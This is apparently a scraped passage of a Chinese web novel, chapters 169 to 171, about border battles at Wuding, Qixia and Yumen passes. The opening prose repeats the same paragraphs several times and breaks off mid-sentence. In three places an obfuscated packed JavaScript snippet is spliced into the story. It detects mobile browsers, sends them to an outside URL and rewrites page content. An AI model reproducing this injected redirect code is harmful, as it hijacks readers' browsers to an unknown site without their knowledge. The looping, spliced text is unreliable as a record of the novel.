只不过,这种念头只能埋在心里,没有人会说出来,更没有人敢说出来。 很快,各营打扫完战场,纷纷返回关内。 “大人,此战太爽了,兄弟们刀都砍卷刃了!” “哈哈,大人你是没看到我营里那些个臭小子,睡着了还在拉弦开弓呢!” 历经大战,虽然众人都身心疲惫,但所有人的脸上都写满了激动的笑容。 这么多年来,他们就没打过这么酣畅淋漓的仗,以往,要么是**羯人追着狼狈逃跑,要么是被人家堵在家门口被动防守,都是血气方刚的边军汉子,谁能受得了这憋屈气? 然而,这一战,凌川却让他们将心中的恶气一扫而空。 武定关平时只有五千兵力,眼下时逢大战才进行增兵,其中更是派来三千重甲兵,凑足一万兵力。 但,此次出战的,只有七千兵力,外加凌川带来的一千五百云岚军,也就八千多兵力,却将两万敌军杀得片甲不留。 最主要是,这一次他们是主动出战,而非被动防守,这对于士兵们来说,内心的感受是完全不一样的。 “大人,这次咱们是真的发财了,兵甲、粮草足足拉了几百车,还有足足八千匹战马!”黄渠高兴得嘴都咧到耳根子了。 凌川笑道:“估计饭也做好了,让兄弟们吃饱之后,好好睡一觉!” 与此同时,凌川写下两封战报,一封传到阑州刺史府,一封传到漠北节度府。 他心里很清楚,就阑州战局而言,武定关这场胜利绝对是大胜,已经让胜利的天平产生倾斜。 但,若是将目光放在整个北疆战线,这场胜利算不了什么,甚至,将之前是铁鳞城那场大捷以及曳敕滩的胜利加在一起,也不足以左右这场国战的胜负。 当然,也并非没有丝毫影响,至少让大周的胜算增加了一分。 如果说,现在是五五开的话,那么开战之前,便是四六开。 武定关全军休整,而凌川则是独自一人站在节堂的沙盘跟前,目光来回挪动,也不知在想些什么。 中途,苍蝇送来一些饭菜,外加一壶酒,随后便悄悄退了出去。 破的苍狼泣月旗被踩入血泥之中,再无往日的霸道雄风。 此战,大获全胜,凌川再一次用他的谋略与布局书写了属于他的不败神话。 如果说,此前很多阑州军对于凌川的战绩都仅限于传言,那么这一次算是亲眼目睹了。 白天,凌川单骑出城于阵前与耶律蓝图见面,以及之后答应耶律蓝图阵前比武定输赢,都让人觉得他太年轻,过于莽撞。 殊不知,那个时候他已经开始布局。 先是阵前掳走敌军主帅,然后再深夜袭营麻痹敌军,最后于天亮之前发起总攻,一举将这两万敌军杀得片甲不留。 一环扣一环,每个细节都堪称滴水不漏,如果将整个计划的每一步拆开,都算不得多高明,可将这些全部连在一起再看,着实令人咋舌。 原来,从一开始,凌川的脑海中便已经有了完整的计划,只是自己鼠目寸光,猜不到,也看不透而已。 斩杀耶律王族两万敌军,己方只战死三百余人,五百余人受伤,武定关一众校尉听到这个结果,只感觉不可思议。 霎时间,这个仅有十六岁的少年,在他们心目中的形象猛然拔高,无论是普通士卒还是一众校尉,看向凌川的目光中都充满了敬意。 恍惚间,他们似乎看到一颗璀璨将星在冉冉升起,不出几年,这少年定会成为一位不世名将。 甚至有人在心中假设,若是凌川执掌整个北系军,会不会重振大周边军的雄风,将胡羯人打得抬不起头来? 只不过,这种念头只能埋在心里,没有人会说出来,更没有人敢说出来。 很快,各营打扫完战场,纷纷返回关内。 “大人,此战太爽了,兄弟们刀都砍卷刃了!” “哈哈,大人你是没看到我营里那些个臭小子,睡着了还在拉弦开弓呢!” 历经大战,虽然众人都身心疲惫,但所有人的脸上都写满了激动的笑容。 这么多年来,他们就没打过这么酣畅淋漓的仗,以往,要么是**羯人追着狼狈逃跑,要么是被人家堵在家门口被动防守,都是血气方刚的边军汉子,谁能受得了这憋屈气? 然而,这一战,凌川却让他们将心中的恶气一扫而空。 武定关平时只有五千兵力,眼下时逢大战才进行增兵,其中更是派来三千重甲兵,凑足一万兵力。 但,此次出战的,只有七千兵力,外加凌川带来的一千五百云岚军,也就八千多兵力,却将两万敌军杀得片甲不留。 最主要是,这一次他们是主动出战,而非被动防守,这对于士兵们来说,内心的感受是完全不一样的。 “大人,这次咱们是真的发财了,兵甲、粮草足足拉了几百车,还有足足八千匹战马!”黄渠高兴得嘴都咧到耳根子了。 凌川笑道:“估计饭也做好了,让兄弟们吃饱之后,好好睡一觉!” 与此同时,凌川写下两封战报,一封传到阑州刺史府,一封传到漠北节度府。 他心里很清楚,就阑州战局而言,武定关这场胜利绝对是大胜,已经让胜利的天平产生倾斜。 但,若是将目光放在整个北疆战线,这场胜利算不了什么,甚至,将之前是铁鳞城那场大捷以及曳敕滩的胜利加在一起,也不足以左右这场国战的胜负。 当然,也并非没有丝毫影响,至少让大周的胜算增加了一分。 如果说,现在是五五开的话,那么开战之前,便是四六开。 武定关全军休整,而凌川则是独自一人站在节堂的沙盘跟前,目光来回挪动,也不知在想些什么。 中途,苍蝇送来一些饭菜,外加一壶酒,随后便悄悄退了出去。 破的苍狼泣月旗被踩入血泥之中,再无往日的霸道雄风。 此战,大获全胜,凌川再一次用他的谋略与布局书写了属于他的不败神话。 如果说,此前很多阑州军对于凌川的战绩都仅限于传言,那么这一次算是亲眼目睹了。 白天,凌川单骑出城于阵前与耶律蓝图见面,以及之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013988|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后答应耶律蓝图阵前比武定输赢,都让人觉得他太年轻,过于莽撞。 殊不知,那个时候他已经开始布局。 先是阵前掳走敌军主帅,然后再深夜袭营麻痹敌军,最后于天亮之前发起总攻,一举将这两万敌军杀得片甲不留。 一环扣一环,每个细节都堪称滴水不漏,如果将整个计划的每一步拆开,都算不得多高明,可将这些全部连在一起再看,着实令人咋舌。 原来,从一开始,凌川的脑海中便已经有了完整的计划,只是自己鼠目寸光,猜不到,也看不透而已。 斩杀耶律王族两万敌军,己方只战死三百余人,五百余人受伤,武定关一众校尉听到这个结果,只感觉不可思议。 霎时间,这个仅有十六岁的少年,在他们心目中的形象猛然拔高,无论是普通士卒还是一众校尉,看向凌川的目光中都充满了敬意。 恍惚间,他们似乎看到一颗璀璨将星在冉冉升起,不出几年,这少年定会成为一位不世名将。 甚至有人在心中假设,若是凌川执掌整个北系军,会不会重振大周边军的雄风,将胡羯人打得抬不起头来? 只不过,这种念头只能埋在心里,没有人会说出来,更没有人敢说出来。 很快,各营打扫完战场,纷纷返回关内。 “大人,此战太爽了,兄弟们刀都砍卷刃了!” “哈哈,大人你是没看到我营里那些个臭小子,睡着了还在拉弦开弓呢!” 历经大战,虽然众人都身心疲惫,但所有人的脸上都写满了激动的笑容。 这么多年来,他们就没打过这么酣畅淋漓的仗,以往,要么是**羯人追着狼狈逃跑,要么是被人家堵在家门口被动防守,都是血气方刚的边军汉子,谁能受得了这憋屈气? 然而,这一战,凌川却让他们将心中的恶气一扫而空。 武定关平时只有五千兵力,眼下时逢大战才进行增兵,其中更是派来三千重甲兵,凑足一万兵力。 但,此次出战的,只有七千兵力,外加凌川带来的一千五百云岚军,也就八千多兵力,却将两万敌军杀得片甲不留。 最主要是,这一次他们是主动出战,而非被动防守,这对于士兵们来说,内心的感受是完全不一样的。 “大人,这次咱们是真的发财了,兵甲、粮草足足拉了几百车,还有足足八千匹战马!”黄渠高兴得嘴都咧到耳根子了。 凌川笑道:“估计饭也做好了,让兄弟们吃饱之后,好好睡一觉!” 与此同时,凌川写下两封战报,一封传到阑州刺史府,一封传到漠北节度府。 他心里很清楚,就阑州战局而言,武定关这场胜利绝对是大胜,已经让胜利的天平产生倾斜。 但,若是将目光放在整个北疆战线,这场胜利算不了什么,甚至,将之前是铁鳞城那场大捷以及曳敕滩的胜利加在一起,也不足以左右这场国战的胜负。 当然,也并非没有丝毫影响,至少让大周的胜算增加了一分。 如果说,现在是五五开的话,那么开战之前,便是四六开。 武定关全军休整,而凌川则是独自一人站在节堂的沙盘跟前,目光来回挪动,也不知在想些什么。 中途,苍蝇送来一些饭菜,外加一壶酒,随后便悄悄退了出去。 破的苍狼泣月旗被踩入血泥之中,再无往日的霸道雄风。 此战,大获全胜,凌川再一次用他的谋略与布局书写了属于他的不败神话。 如果说,此前很多阑州军对于凌川的战绩都仅限于传言,那么这一次算是亲眼目睹了。 白天,凌川单骑出城于阵前与耶律蓝图见面,以及之后答应耶律蓝图阵前比武定输赢,都让人觉得他太年轻,过于莽撞。 殊不知,那个时候他已经开始布局。 先是阵前掳走敌军主帅,然后再深夜袭营麻痹敌军,最后于天亮之前发起总攻,一举将这两万敌军杀得片甲不留。 一环扣一环,每个细节都堪称滴水不漏,如果将整个计划的每一步拆开,都算不得多高明,可将这些全部连在一起再看,着实令人咋舌。 原来,从一开始,凌川的脑海中便已经有了完整的计划,只是自己鼠目寸光,猜不到,也看不透而已。 斩杀耶律王族两万敌军,己方只战死三百余人,五百余人受伤,武定关一众校尉听到这个结果,只感觉不可思议。 霎时间,这个仅有十六岁的少年,在他们心目中的形象猛然拔高,无论是普通士卒还是一众校尉,看向凌川的目光中都充满了敬意。 恍惚间,他们似乎看到一颗璀璨将星在冉冉升起,不出几年,这少年定会成为一位不世名将。 甚至有人在心中假设,若是凌川执掌整个北系军,会不会重振大周边军的雄风,将胡羯人打得抬不起头来? 只不过,这种念头只能埋在心里,没有人会说出来,更没有人敢说出来。 很快,各营打扫完战场,纷纷返回关内。 “大人,此战太爽了,兄弟们刀都砍卷刃了!” “哈哈,大人你是没看到我营里那些个臭小子,睡着了还在拉弦开弓呢!” 历经大战,虽然众人都身心疲惫,但所有人的脸上都写满了激动的笑容。 这么多年来,他们就没打过这么酣畅淋漓的仗,以往,要么是**羯人追着狼狈逃跑,要么是被人家堵在家门口被动防守,都是血气方刚的边军汉子,谁能受得了这憋屈气? 然而,这一战,凌川却让他们将心中的恶气一扫而空。 武定关平时只有五千兵力,眼下时逢大战才进行增兵,其中更是派来三千重甲兵,凑足一万兵力。 但,此次出战的,只有七千兵力,外加凌川带来的一千五百云岚军,也就八千多兵力,却将两万敌军杀得片甲不留。 最主要是,这一次他们是主动出战,而非被动防守,这对于士兵们来说,内心的感受是完全不一样的。 “大人,这次咱们是真的发财了,兵甲、粮草足足拉了几百车,还有足足八千匹战马!”黄渠高兴得嘴都咧到耳根子了。 凌川笑道:“估计饭也做好了,让兄弟们吃饱之后,好好睡一觉!” 与此同时,凌川写下两封战报,一封传到阑州刺史府,一封传到漠北节度府。 他心里很清楚,就阑州战局而言,武定关这场胜利绝对是大胜,已经让胜利的天平产生倾斜。 但,若是将目光放在整个北疆战线,这场胜利算不了什么,甚至,将之前是铁鳞城那场大捷以及曳敕滩的胜利加在一起,也不足以左右这场国战的胜负。 当然,也并非没有丝毫影响,至少让大周的胜算增加了一分。 如果说,现在是五五开的话,那么开战之前,便是四六开。 武定关全军休整,而凌川则是独自一人站在节堂的沙盘跟前,目光来回挪动,也不知在想些什么。 中途,苍蝇送来一些饭菜,外加一壶酒,随后便悄悄退了出去。 破的苍狼泣月旗被踩入血泥之中,再无往日的霸道雄风。 此战,大获全胜,凌川再一次用他的谋略与布局书写了属于他的不败神话。 如果说,此前很多阑州军对于凌川的战绩都仅限于传言,那么这一次算是亲眼目睹了。 白天,凌川单骑出城于阵前与耶律蓝图见面,以及之后答应耶律蓝图阵前比武定输赢,都让人觉得他太年轻,过于莽撞。 殊不知,那个时候他已经开始布局。 先是阵前掳走敌军主帅,然后再深夜袭营麻痹敌军,最后于天亮之前发起总攻,一举将这两万敌军杀得片甲不留。 一环扣一环,每个细节都堪称滴水不漏,如果将整个计划的每一步拆开,都算不得多高明,可将这些全部连在一起再看,着实令人咋舌。 原来,从一开始,凌川的脑海中便已经有了完整的计划,只是自己鼠目寸光,猜不到,也看不透而已。 斩杀耶律王族两万敌军,己方只战死三百余人,五百余人受伤,武定关一众校尉听到这个结果,只感觉不可思议。 霎时间,这个仅有十六岁的少年,在他们心目中的形象猛然拔高,无论是普通士卒还是一众校尉,看向凌川的目光中都充满了敬意。 恍惚间,他们似乎看到一颗璀璨将星在冉冉升起,不出几年,这少年定会成为一位不世名将。 甚至有人在心中假设,若是凌川执掌整个北系军,会不会重振大周边军的雄风,将胡羯人打得抬不起头来? 只不过,这种念头只能埋在心里,没有人会说出来,更没有人敢说出来。 很快,各营打扫完战场,纷纷返回关内。 “大人,此战太爽了,兄弟们刀都砍卷刃了!” “哈哈,大人你是没看到我营里那些个臭小子,睡着了还在拉弦开弓呢!” 历经大战,虽然众人都身心疲惫,但所有人的脸上都写满了激动的笑容。 这么多年来,他们就没打过这么酣畅淋漓的仗,以往,要么是**羯人追着狼狈逃跑,要么是被人家堵在家门口被动防守,都是血气方刚的边军汉子,谁能受得了这憋屈气? 然而,这一战,凌川却让他们将心中的恶气一扫而空。 武定关平时只有五千兵力,眼下时逢大战才进行增兵,其中更是派来三千重甲兵,凑足一万兵力。 但,此次出战的,只有七千兵力,外加凌川带来的一千五百云岚军,也就八千多兵力,却将两万敌军杀得片甲不留。 最主要是,这一次他们是主动出战,而非被动防守,这对于士兵们来说,内心的感受是完全不一样的。 “大人,这次咱们是真的发财了,兵甲、粮草足足拉了几百车,还有足足八千匹战马!”黄渠高兴得嘴都咧到耳根子了。 凌川笑道:“估计饭也做好了,让兄弟们吃饱之后,好好睡一觉!” 与此同时,凌川写下两封战报,一封传到阑州刺史府,一封传到漠北节度府。 他心里很清楚,就阑州战局而言,武定关这场胜利绝对是大胜,已经让胜利的天平产生倾斜。 但,若是将目光放在整个北疆战线,这场胜利算不了什么,甚至,将之前是铁鳞城那场大捷以及曳敕滩的胜利加在一起,也不足以左右这场国战的胜负。 当然,也并非没有丝毫影响,至少让大周的胜算增加了一分。 如果说,现在是五五开的话,那么开战之前,便是四六开。 武定关全军休整,而凌川则是独自一人站在节堂的沙盘跟前,目光来回挪动,也不知在想些什么。 中途,苍蝇送来一些饭菜,外加一壶酒,随后便悄悄退了出去。 第169章 贪狼逐日! 四月廿五,夜! 贪狼星赤芒暴涨,竟逐金乌残魄! 贪狼獠牙噬日处,天幕裂血痕三千里。漠北夜枭惊飞蔽月,沙碛忽涌黑潮。 翌日方知,那是靖州城头守军的血浸透了烽燧台上的狼烟。 天未亮,急报传入帅营,卢恽筹掌中茶盏应声而碎。 “靖州陷!副将秦简被斩首,悬于栖霞关!” 急报背面黏着未干的血迹,拓下城砖最后一道砍痕。一万靖州军骸骨,此刻正在栖霞关隘口堆筑起京观。 …… 夕阳洒落在残破的栖霞关城墙,秦简立身其上,他身上的狻猊吞海锁环甲已经破损,甲片被鲜血浸透,他也不记得这是今日第几次杀退敌军了,然而,敌军依然是前赴后继,不计代价地猛攻栖霞关。 自开战至今,七日时间,一万靖州军死伤过半,栖霞关摇摇欲坠。 看着城外旌旗蔽野、战车如林,秦简的神色无比凝重。 只见他转身走到城墙另一边,看着城内四千余守军,眼神中满是决然。 “弟兄们,胡贼猖獗,城关将破,现在摆在我们面前的有两条路,要么趁着敌人的下一轮进攻还没开始,我们舍弃栖霞关以及这满城百姓,退回烬垣道;要么拼死一战掩护百姓撤离,但最终我们都将埋骨于此!” 秦简的目光从一众将士身上扫过,继续说道:“我现在将选择权交给你们,无论你们做出任何选择,我都不怪罪你们!” 城内四千士兵一片沉默。 也不知过了多久,手臂淌血的校尉**走了出来,说道: “将军,我家世代久居靖州,栖霞关外三十里焦土,埋着九年前阵亡的父兄!我想留下来,即便横死沙场,也算是落叶归根!” 此言一出,顿时将不少人的目光都吸引了过去,面相憨厚的**仿佛做错了什么,愧疚地低下了头,不敢看其他人。 也不知过了多久,另一名都尉也看向上方的秦简:“我江淮子弟入北军时,节度使亲赐《陇头吟》!‘愿得此身长报国,何须生入玉门关!’诸君!我们身后不仅是中原,还有万千百姓!” 这番话,每一个字都仿佛一把铁锤砸在他们的心口。 少年兵卒用浸满鲜血的布条将战刀绑在手腕上,声裂云霄:“将军,俺没读过书,说不出都尉大人那种振奋人心的话,俺只记得昨日陈阿婆冒死送烙饼,被流矢穿喉犹笑!她说说.‘吃饱了才有力气杀豺狼!’ 紧接着,少年猛然抬起头,双眼之中写满了决 绝,大喊道:“这城!俺愿拿命填!” 四千残兵举起手中战刀,大吼道:“此身可碎,此关不弃!以我骨筑墙,以我血沃土!魂守栖霞,半步不退!” “魂守栖霞,半步不退!” “魂守栖霞,半步不退!” 声如惊**九霄,势如天倾镇鬼神! 秦简看着下方满脸决然的士兵,忽然大笑起来:“哈哈哈哈……” 他笑得肆无忌惮,笑得形骸放荡,可那笑声中却带着几分悲壮…… “好,很好!你们有种,老子就陪你们再疯一次!”秦简双目中热泪滚落。 恍然间,他想起了曾经那个鼎盛的大周,那时的大周宛如一头巨龙,万国来朝,四方臣服,周**锋所致,敌人皆被吓得瑟瑟发抖。 可惜,如今的大周已经腐烂到发臭,边境连连失利并非是边军懦弱,而是他们失去了心中的信仰。 曾经的边军为大周而战,如今的边军只能为民族而战,为百姓而战! “全军听令!”秦简的吼声自城墙之上传来。 所有人紧握战刀,整齐站立,满是决然的目光紧盯着城墙之上的秦简。 秦简也同样盯着众人,大喝道:“这栖霞关即是吾辈棺椁,残阳落尽时,胡骑必破门!不要盾阵!不要军令!更莫想退路!唯求一事:黄泉路上拖三具胡骸作桥!拽五匹敌马为牲!阎罗殿前我靖州边军仍要列阵,杀他个天翻地覆!” 如今,栖霞关已是摇摇欲坠,敌人的下一波进攻势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022218|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必会攻破城门,到时候他们将无险可守,唯有拼命。 只要挡住这一波攻击,便会为城中百姓赢得一夜的撤离时间,让他们平安撤到烬垣道。 事实上,没等半个时辰,胡羯大军便再次发起了进攻,秦简率四千靖州军拼死抵挡。 几日交战下来,城墙上的床**已经所剩无几,箭矢滚木等也所剩不多。 三日前,秦简便已经派人回靖州求援,可他心里很清楚,靖州也是多线作战,根本抽不出兵力来支援栖霞关,一切都只能靠他们自己。 这一次,敌军的进攻尤为猛烈,骑兵步卒齐齐上阵,攻城车、撞门锤也都纷纷派上用场。 “轰……” 日落之时,一声巨响令整个栖霞关为之震颤,全军将士也心神一紧。 城门被攻破了! 然而,不等敌军杀进来,城内一支骑兵却率先杀了出去,当场打了敌人一个措手不及,可很快,城外大批骑兵压了上来,将这支一千五百人的骑兵团团围住。 “随我冲杀!”领头的骑兵校尉正是**,只见他浑身浴血,大声嘶吼道。 **手持大刀横扫,将正前方三名胡骑砍翻,可就在此时,一名敌军千夫长也锁定了他,策马冲了上来。 “两脚羊,受死!”那胡羯千夫长爆喝一声,抡起手中狼牙棒便朝**砸来。 “当……” 伴随着一道金铁撞击声,**只感觉双臂发麻,手中大刀更是要脱手掉落。 但他却咬牙将其死死抓住,反手一刀横削出去。 那胡羯千夫长也非庸手,与**硬拼数个回合却丝毫不落下风,反之,**经历了之前的连番血战,体力严重消耗,逐渐就露出败相。 忽然,一支铁箭飞射而来,穿透了**的铁甲,冰冷箭镞没入身体之中。 **闷哼一声,身体为之一偏,那名胡羯千夫长抓住机会再次策马冲上来,抡起狼牙棒砸向**。 后者不闪不避,更没有去抵挡,而是单手抡起大刀直接掷向对方。 第170章 死守栖霞关! 那胡羯千夫长没想到**竟敢在这种关头舍弃兵器猛然抡起狼牙棒便将那飞来的大刀荡飞可此时**也已经来到他跟前只见他从战马上一跃而起直接扑向对方。 那名胡羯千夫长连忙抓住马鞍不让自己掉**背而就在此时**直接将插在肩膀的那支铁箭拔了出来刺入对方的后脑。 “嗤……” 那名胡羯千夫长双目圆瞪口鼻溢血。 “咻……” 又是一支铁箭飞来射中**的眉心 “娘……”**嘴唇轻启用只有他自己能听到的声音说道: “孩儿不孝不能……不能给您养老送终了我要去见爹和……和大哥了……” **紧紧抓着那名胡羯千夫长的肩膀双双跌**背顷刻间便被战马踩成肉泥。 对于整片战场而言这不过是冰山一角如此惨烈的场面比比皆是。 就在**率骑兵杀出的同时两支步兵也紧跟着杀了出来个个手持**列阵迎战胡羯骑兵。 然而在骑兵面前步兵的枪阵显得异常脆弱哪怕是轻骑兵也能轻易将其撞碎。 当然若是步兵阵营足够厚骑兵无法一口气将其杀穿将会如马陷泥潭最终被**殆尽。 可惜现在靖州军只剩几千残兵显然没有这样的能力。 可即便如此面对凶悍的骑兵所有人都不曾后退正如他们之前宣誓的那般魂守栖霞半步不退! 秦简孤身一人站在城墙之上看着城外的惨烈厮杀他连亲兵都全部派上了战场城内除他自己再无第二人。 嘶吼声惨叫声响彻栖霞关。 一名胡羯骑兵一刀将一名靖州军的脸劈成两半霎时间鲜血流淌。 然而那名靖州军却没有丝毫退缩用手中**将对方捅**背。 那名胡羯骑兵想要起身却被后面冲上来的战马踩死那名靖州军双眼逐渐模糊最终倒在地上。 另一边一名靖州军双臂被砍断他便冲上去一口咬在那名胡羯骑兵的喉咙后者嘶吼挣扎手中弯刀将其后背捅烂可他却死不松口。 看着一个个靖州军倒下秦简紧握着双拳双目一片通红。 当他决定死守栖霞关的时候这些靖州军的命运就已经注定。 他很清楚如今的大周帝国不值得这些热血儿郎去拼命但他更清楚穿上铠甲拿起战刀的时候他们 就是一名边军,吃一天军粮就要尽一天职责。 哪怕如今的大周帝国已是日薄西山,就算他们守住边关,不让一名敌人踏足大周国土,依然无法阻止大周内部的腐朽。 但! 身为边军,就该死守国门,就算不为帝国,也要为天下百姓! 夜幕宛如一头怪兽,笼罩苍茫大地。 栖霞关外厮杀的声音越来越小,最终彻底消失。 秦简知道,四千靖州军已全部战死,但,战斗还没结束,因为,他还活着! 很快,胡羯大军整顿兵马入城,血战七日,他们这第六路大军在栖霞关外也付出了惨重代价,终于将这块硬骨头给啃了下来。 数百骑兵率先入城,准备清理城中残兵。 然而,进入瓮城中后却没有看到半个人影,只有满地残兵断箭,以及染血的战马草料。 忽然,上方城门上亮起一团火光。 众人抬头看去,只见一名身着将军甲的中年男子手持一支火把,居高临下地看着他们。 “秦简,栖霞关的靖州军已全军覆没,你还想做困兽之斗吗?”一名胡羯千夫长大喝道。 秦简摇了摇头,说道:“你说错了,靖州军还有一人活着!” “哈哈哈哈……”那名胡羯千夫长先是一愣,随即大笑道:“你手下士兵全部被我军**干净,你身为将领竟还有脸苟活,难道,大周的将军就这点胆魄吗?” “我活着,是为了拉着你们一起上路!”秦简厉声喝道。 话音刚落,他猛然拔出自己的战刀,将一根绑在城垛上的绳索斩断。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022219|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “轰隆隆……” 一阵巨响传来,只见挂在城门内侧的一个巨大吊篮被松开,里面装满的巨石滚落而下,将下方十余名胡羯骑兵当场砸死,同时,也将城门堵死。 这一巨变,让那名千夫长神色一变,大喝道:“谁砍下他的头,赏牛羊三千,封百夫长!” 听闻此言,一个个胡羯士兵宛如打了鸡血一般,纷纷下马朝着瓮城的步道冲去,不少人更是弯弓搭箭,将秦简瞄准。 城墙上方,秦简失望叹息一声,自己好歹也是五品将军,这身狻猊吞海锁子甲竟然只能换一个百夫长,胡羯人未免也太小气了。 “这栖霞关既是我靖州儿郎的英雄冢,也是尔等的埋骨地,上路吧!”秦简说完,将手中火把抛下瓮城。 “轰……” 火把瞬间将那些铺在地上的草料点燃,要知道,这些草料上都浸撒了火油,遇火则燃,刹那间,整个瓮城化为一片火海。 滔天火焰将这数百骑兵吞没,受惊的战马发出嘶鸣,到处乱窜,奈何,城门已经被巨石堵死,一时半会根本疏通不了。 所有士兵惊慌大叫,许多人在火海中苦苦挣扎,也有人滚**背,被战马踩死。 “此计得益于我周军校尉凌川当日在狼烽口之壮举,今日我如法炮制,拉上尔等一同上路!”秦简慷慨的声音自火海上方传来。 这场火足足烧了两个时辰,当后方胡羯大军搬开堵住城门的巨石将大火扑灭,数百胡羯骑兵连同他们的战马皆已经烧成一团团焦炭。 天亮之时,胡羯六路大军彻底占领了栖霞关,只不过,此时的栖霞关已经是空城一座,所有百姓皆已撤往烬垣道。 翌日的第一缕朝阳洒落在这座残破城关,那面大周军旗已经**羯勃鲁部的白鹿负山旗所取代。 城外,七日以来战死的一万靖州军尸体被筑起京观,城门上方,一颗滴血头颅被高高悬挂…… 晨风穿过破损城门,发出呜咽之声,悲壮而凄凉! 第171章 血鸦夜袭玉门关! 与此同时,另外几处的战斗也尤为惨烈。 陵州,老龙口。 一万龙夔骑与赤熊重骑厮杀数日,双方皆是损失惨重。 众所周知,卢恽筹麾下有两支王牌重骑,分别是龙夔骑与虎贲骑,这两支骑军每一位成员都是从北系军中精挑细选出来的精锐,不仅体魄无双,而且个个都是百战老卒。 整个北系军士卒都以能进入这两支军团为荣,不仅是因为这两支军团代表着北系军的巅峰战力,更因为这两支军团无论是军饷、战马、兵甲都是用最好的。 同样,龙夔骑主将杨烬旗,与虎贲骑主将薛镇锷皆是北疆一等一的猛将。 所有人都说,龙夔骑与虎贲骑就是卢帅的两块心头肉。 也正是因为选拔条件过于苛刻,再加上耗资过于巨大,所以,这两支军团一直都维持在一万人。 早在几个月前,为配合霍元青攻打狼烽口,拓跋桀出动两路大军直奔老龙口和朝天垭,只不过,当时出动的两支军队皆是拓跋桀的南征军,而非草原王族的王牌军。 但,考虑到这两处要隘的重要性,卢恽筹便将这两支重骑给派了出去。 杨烬旗率龙夔骑镇守老龙口,薛镇锷率虎贲骑坐镇朝天垭。 此前,双方只是遥遥对峙并未交手,直到最近,赤熊重骑赶来之后,双方才正式交锋。 龙夔骑的对手乃是宇文王族的王牌军——赤熊重骑,其主将更是宇文家族的老牌战神,宇文堑。 这支重甲骑军从宇文王族发迹便已组建,曾横扫草原诸多部落,硬生生将宇文氏抬上了王座。 这段时间,双方交手不下十次,皆是平分秋色。 而阑州朝天垭这边,也好不到哪儿去。 慕容王族的王牌狮甲军赶到之后,便配合蛇窟**发起了一次进攻,当时迎战的并非虎贲骑,而是阑州军,以至于仅仅是试探**手,阑州军便损失了上千人。 最近,随着陈暻垚回阑州主持大局,薛镇锷便可放开手脚率领虎贲骑与之一战,原本双方势均力敌,可随着凌川在武定关将耶律王族的两万大军**殆尽,这让主将慕容陲有了后顾之忧。 因为,武定关距朝天垭不过三十里,凌川麾下又有近半数骑军,随时可以趁自己与薛镇锷的虎贲骑交手之时,出兵偷袭后方,让自己腹背受敌。 所以,这几日,慕容陲只能按兵不动,可他没想到,薛镇锷竟然主动出击,一万虎贲骑倾巢而出,与自己的狮甲军正面厮杀。 果然如慕容陲所料的 那般,武定关立马便做出策应,五千轻骑自后方杀至。 好在他早有防备,提前布置了大量拒马桩和铁蒺藜,可即便如此,还是损失惨重,主要是凌川率领的轻骑中配置了一种射程恐怖的弓箭,几轮抛射下来,便收走上千胡羯士兵的性命。 这一战,让狮甲军损失惨重,慕容陲也只能收兵防御。 凉州,五百血鸦斥候连夜潜入关内,将玉门关至凉州沿途烽燧一一拔除,并且,连夜偷袭玉门关。 玉门关乃是北疆最重要关隘之一,相比起狼烽口有过之而无不及。 如果说狼烽口失守,整个云州都将暴露在胡羯铁骑的马蹄之下,那么玉门关失守,整个北境七州都将成为胡羯的后花园,可来去自如。 镇守玉门关的乃是张嶷岳,此人正值当打之年且行事稳重,当年更是在危急关头带兵将卢帅从蛇窟**的天罗地网中救了出来。 玉门关受地势之限,只能容纳三千驻军,但,在张嶷岳的布置下,整个玉门关宛如铁桶一般,多年来没出过任何纰漏。 玉门关虽险,但对于血鸦军团来说潜入并不难。 可刚才现身便被玉门关的守军发现,连夜血战,玉门关守军损失惨重,哪怕是面对凶名压边关的血鸦军团,他们也毫不畏惧。 最终,折损了五百余人才将其打退,而潜入关内的三十多名血鸦成员也尽数伏诛。 对于血鸦军团而言,这无疑是他们战绩上的污点,上次一支小队葬身狼烽口,这次五百血鸦军团倾巢出动,却未能拿下玉门关。 此战虽化险为夷,可张嶷岳的脸色却出奇凝重,只见他紧握着一封密信,心有余悸之感至今未曾消散。 昨天日落之前,一支飞箭从城外飞来,径直钉在城墙垛口之上,对方并未停留,射完这一箭便策马离开。 守军发现,箭上竟然裹着一封密信,便将其交给了将军张嶷岳。 后者拆开之后,发现信中只有一句话‘血鸦欲夜袭玉门关’,落款只有两个字——凌川。 尽管张嶷岳也无法确认信息的真实性,但这种时候宁可信其有不可信其无,连忙调兵布防。 果然,血鸦军团出现了,尽管他提前准备,还是付出了不小代价,若没有这封密信,此时玉门关极有可能已经易主。 